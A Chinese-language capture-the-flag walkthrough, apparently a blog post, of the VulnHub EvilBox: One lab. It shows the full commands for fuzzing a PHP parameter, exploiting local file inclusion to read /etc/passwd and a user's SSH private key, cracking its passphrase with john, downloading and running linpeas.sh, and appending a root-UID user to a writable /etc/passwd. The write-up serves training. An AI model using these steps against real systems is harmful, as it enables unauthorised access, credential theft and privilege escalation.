vulnhub EvilBox: One

渗透思路:

nmap扫描----gobuster爆破网站目录----ffuf爆破url参数----利用本地文件包含找到用户名和id_rsa----ssh2john+john爆破id_rsa的passphrase----linpeas.sh发现/etc/passwd可写----openssl生成新用户密码hash----将root权限新用户写入/etc/passwd----切换到新用户获得root权限

环境信息:

靶机:192.168.101.62

攻击机:192.168.101.34

具体步骤:

1、nmap扫描

sudo nmap -sV -sC -p- 192.168.101.62

只扫描到22(ssh)和80(http)端口

2、gobuster爆破网站目录

​gobuster dir -u http://192.168.101.62/ -w /usr/share/wordlists/dirb/big.txt

扫描到/robots.txt和/secret

访问http://192.168.101.62/robots.txt,似乎没什么有用的

访问http://192.168.101.62/secret/,一片空白

继续用gobuster扫描http://192.168.101.62/secret/,用-x参数增加后缀。

下面的命令中其他后缀倒无所谓,.php一定要加

​gobuster dir -u http://192.168.101.62/secret/ -w /usr/share/wordlists/dirb/big.txt -x .txt,.php,.html

扫描到/evil.php

访问http://192.168.101.62/secret/evil.php,页面一片空白,查看网页源代码也啥也没有

3、ffuf爆破url参数

无计可施,只能靠猜了,猜猜evil可能可以动态包含文件,但由于http://192.168.101.62/secret/evil.php没带参数,所以网页上啥也没有。

用ffuf爆破一下http://192.168.101.62/secret/evil.php的参数是什么:

​ffuf -u 'http://192.168.101.62/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fs 0

FUZZ是待爆破的参数的占位符,-fs 0表示过滤长度为0(也就是没有响应体)的响应报文。

爆破出一个可能的参数:command

4、利用本地文件包含找到mowree用户的id_rsa

浏览器访问http://192.168.101.62/secret/evil.php?command=/etc/passwd确认一下

确实可以本地文件包含,而且还返回了/etc/passwd的内容

既然可以本地文件包含,那就看看evil.php里面有没有啥有用的信息。浏览器中访问:

http://192.168.101.62/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php

得到evil.php的base64编码的代码,拿到CyberChef进行解码,发现没啥有用信息,就两句文件包含的代码

尝试了远程文件包含也不行。

还是好好研究一下/etc/passwd吧,看看什么用户是可以登录的。如果和我一样觉得直接在网页上看着眼花,可以执行一下下面的python脚本,可以分行打印用户信息,再用grep查找结果中包含bash的行就行了

s="root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin"
l=s.split()
for i in l:
    print i

从执行结果可以清晰地看到,除了root还有一个叫mowree的用户是可以登录的

(其实在网页源代码里面直接搜bash也行-_-|||)

利用本地文件包含分别查看/root/.ssh/id_rsa和/home/mowree/.ssh/id_rsa文件的内容。

/root/.ssh/id_rsa查看不到,但/home/mowree/.ssh/id_rsa可以查看到

http://192.168.101.62/secret/evil.php?command=/home/mowree/.ssh/id_rsa

直接看的话格式是乱的,ssh连接的时候格式不对不让连

右键 查看网页源代码,就可以看到格式正确的id_rsa

将网页源代码拷贝,保存为id_rsa

5、ssh2john+john爆破id_rsa的passphrase

这时候如果直接用id_rsa进行ssh连接,会提示id_rsa的文件权限过高,其他用户可以接触到,太危险,所以不让用,还是要输入密码

所以要使用id_rsa进行ssh连接,首先需要修改其权限,比如修改为0600

chmod 0600 id_rsa

然后再进行ssh登录

ssh -i id_rsa mowree@192.168.101.62

还是无法登录,因为id_rsa有passphrase保护,还得先破解出passphrase

接下来先用ssh2john把id_rsa转换成john能识别的格式,再用john爆破passphrase:

先找到ssh2john的位置

locate ssh2john

用ssh2john将id_rsa转换成john能识别的格式,并输出到文件passphrase中

python2 /usr/share/john/ssh2john.py id_rsa > passphrase

可以看一下passphrase的内容

然后用john爆破

john passphrase

得到passphrase为unicorn

此时再进行ssh登录,并将unicorn作为passphrase输入,即可得到mowree用户的shell

mowree的家目录下找到第一个flag

6、/etc/passwd中写入新用户提权

攻击机上linpeas.sh所在目录下开http服务

python2 -m SimpleHTTPServer 8888

靶机上mowree的家目录下,下载linpeas.sh,增加可执行权限,并执行

wget http://192.168.101.34:8888/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

执行结果中有非常明显的提示:/etc/passwd is writable

在攻击机上用openssl生成123的MD5 hash

openssl passwd -1 123

靶机上将新用户fancy写入/etc/passwd文件,口令位置填入刚刚生成的MD5 hash,这样fancy的密码就是123了,剩下的部分全部照抄root用户。

注意:用单引号!!如果用双引号的话,$需要用\进行转义

echo 'fancy:$1$GzuoPPyT$VcrtnMfy8uuezxAZoWAnl1:0:0:root:/root:/bin/bash' >> /etc/passwd

然后执行

su - fancy

输入密码123,即可得到root权限

root目录下得到第2个flag

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值